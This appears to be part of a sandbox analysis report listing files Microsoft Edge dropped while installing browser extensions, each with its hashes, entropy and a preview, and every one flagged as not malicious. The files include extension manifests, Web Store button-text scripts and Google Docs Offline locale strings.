SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir3568_2056036973\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir3568_2056036973\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir3568_2056036973\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir3568_2056036973\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\69e6769b-ab74-4c24-93de-a9e17bb0300b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154255
Entropy (8bit):	7.844315193710191
Encrypted:	false
SSDEEP:	3072:IH0Gn9mK7OlWbWd/4yjbZH/FZnUO5wYrfzeIX74kwjFMziwmNfxL15tUyH:IUG9mKqlzgyjbZH/jUyLXUkwjF971FUi
MD5:	240CD355E89EC1F3566BB2EF1F361DAD
SHA1:	2ADE60EB20F0FB16657A4FB024D207A931DC927F
SHA-256:	1F0388D23A4D8492E2F9839392B22A6957DEAE8750B60FF860EE939811594295
SHA-512:	961FE2017949D185761D8491AB4F7F2EC3B0562CFB6FEF202C34D685A87F2EA032F53D653E4C1D492DFF1FB43D738E7727985738C1A956A1A18AAE77A3D7F3B6
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........gE5.B1_+.)l\....n.sj.n.-.su....kM.`..w..k..u.L..G_9a ..=H..Ag.i.a. .&f!t....s. ............Fy.Cu..a9.C........f7...CW.e._.Zy.W.t.`z.B....k....\|$......G.PI/x]_...L.j..<at...%w.....K,y......s&.....%.4)p...........-2)/....P.....H.;m...}.CP..$E....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. $.I....D....h.n.8......y.\|.{5.!.!..@.9.E.o..x...=..}..<.......W".%............mo.:......\|F....\|{H0..S._....0-.ChC..h.....:.....R%Z....u/.....Y_...8./....>.).....OogU.......P.W.a...._..c,..RH}.......m#3..2.U=.O...~....2.H.O...F..Y.j..2....o..............6..?.........{........\|.^....1s..H..#.'.O..Q_....+."

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
